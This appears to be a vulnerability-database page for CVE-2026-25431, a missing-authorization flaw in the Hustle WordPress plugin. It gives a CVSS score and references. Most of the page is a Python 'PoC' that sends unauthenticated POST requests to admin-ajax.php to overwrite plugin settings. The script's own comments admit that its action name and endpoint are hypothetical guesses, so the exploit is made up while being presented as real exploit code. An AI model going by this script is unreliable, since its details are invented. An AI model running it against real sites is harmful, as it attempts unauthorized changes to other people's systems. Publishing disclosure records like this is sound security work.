CVE-2026-25431

Description

Missing Authorization vulnerability in WPMU DEV Hustle allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Hustle: through 7.8.10.1.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WPMU DEV Hustle <= 7.8.10.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: WPMU DEV Hustle Missing Authorization PoC
# Date: 2026-05-12
# CVE: CVE-2026-25431

def check_vulnerability(target_url):
    """
    Attempts to exploit the missing authorization vulnerability.
    Note: The specific endpoint might vary based on the actual vulnerable function.
    This is a conceptual example targeting a potential settings update endpoint.
    """
    # Example endpoint (hypothetical, based on plugin structure)
    endpoint = "/wp-admin/admin-ajax.php"
    full_url = f"{target_url}{endpoint}"
    
    # Payload attempting to modify settings without authentication
    payload = {
        "action": "hustle_settings_update",  # Hypothetical action
        "option_name": "some_setting",
        "option_value": "malicious_value"
    }
    
    headers = {
        "User-Agent": "Mozilla/5.0 (PoC Scanner)",
        "Content-Type": "application/x-www-form-urlencoded"
    }

    try:
        response = requests.post(full_url, data=payload, headers=headers, timeout=10)
        if response.status_code == 200 and "success" in response.text.lower():
            print(f"[+] Potential vulnerability detected at {target_url}")
            print(f"[+] Response: {response.text[:100]}")
        else:
            print(f"[-] Target does not appear vulnerable or endpoint changed.")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    target = "http://example-wordpress-site.com"
    check_vulnerability(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25431
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25431
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25431/
[4] VulDB https://vuldb.com/cve/CVE-2026-25431
[5] https://patchstack.com/database/wordpress/plugin/wordpress-popup/vulnerability/wordpress-hustle-plugin-7-8-10-1-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

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